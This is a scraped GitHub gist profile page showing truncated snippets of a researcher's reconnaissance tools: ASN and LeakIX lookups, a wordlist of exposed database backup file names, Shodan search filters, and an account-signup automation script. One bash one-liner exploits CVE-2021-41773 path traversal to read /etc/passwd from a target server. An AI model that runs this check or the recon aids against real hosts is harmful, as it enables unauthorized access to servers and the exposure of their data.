Skip to content

Instantly share code, notes, and snippets.

View JoyGhoshs's full-sized avatar
🇧🇩
Bangladeshi

Abdur Rahman Maheer JoyGhoshs

🇧🇩
Bangladeshi
View GitHub Profile
import requests
import json
def asn_lookup(company):
headers = {
'User-Agent': 'ASNLookup PY/Client'
}
asn_db=requests.get(f'http://asnlookup.com/api/lookup?org={company}',headers).text
print(f'{Fore.GREEN}[+] {Fore.WHITE}ASN Lookup Result For {company}')
print('')
asndb_load=json.loads(asn_db)
0.1.0.sql
0.1.1.sql
0.1.2.sql
0.tar.gz
0.zip
1.sql
1.sql.7z
1.sql.bz2
1.sql.gz
1.sql.rar
hostname:target.com | to find all asset available for target.com on shodan
http.title:"title" | to find server/host with similer title
http.html:"/file" | to find server/host with similar path
html:"context" | to find server/host with similar string
server: "apache 2.2.3" | to find server/host with same server
port:80 | to find server/host with same port
os:"windows" | to find server/host with same os
asn:AS3214 | to find host/server with matched asn
http.status:200 | to find server/host with 200 http response code
http.favicon.hash:"hash" | to find server/host with same favico hash
import requests
import sys
from bs4 import BeautifulSoup
from colorama import Fore, Style
def leakix_search(ip):
get = requests.get(f'https://leakix.net/host/{ip}')
comp = BeautifulSoup(get.content, 'lxml')
search = comp.find_all('pre',class_="rounded p-1 wrap")
for data in search:
print(f'{Fore.RED}[+]{Fore.WHITE} {ip} {Fore.RED}[LEAK]{Fore.WHITE}')
#!/bin/bash
curl --silent --path-as-is --insecure -k "$1/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "/bin/bash" &>/dev/null && echo "[CVE-2021-41773][Vulnerable][$1]"
class RDP:
def __init__(self):
os.system("apt update")
self.installRDP()
self.installDesktopEnvironment()
self.installGoogleChorme()
self.finish()
@staticmethod
def installRDP():
@JoyGhoshs
JoyGhoshs / colab-rdp.ipynb
Created December 27, 2021 11:26
colab-rdp.ipynb
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
#!/usr/bin/env python3
from json.tool import main
import sys
import requests
import json
from rich.console import Console
from rich.table import Table
"""
__Author__: Joy Ghosh
__org__:system00 security bangladesh
import ipaddress
import random
import requests
from colorama import Fore, Back, Style
"""
Project DarkFiles ---> 0xJoyghosh [Org:system00-Security]
"""
def detection():
ip_add = str(ipaddress.IPv4Address(random.randint(0,2 ** 32)))
ip_data = requests.get('http://ip-api.com/json/' + ip_add)
@JoyGhoshs
JoyGhoshs / criminal_ip.py
Created July 16, 2022 04:20
Automation of account creation and verification process
import requests
import json
import random
import re
from colorama import init, Fore, Back, Style
from time import sleep
import argparse
#signature
info = f"[{Fore.BLUE}INFO{Fore.RESET}]"
warn = f"[{Fore.YELLOW}WARN{Fore.RESET}]"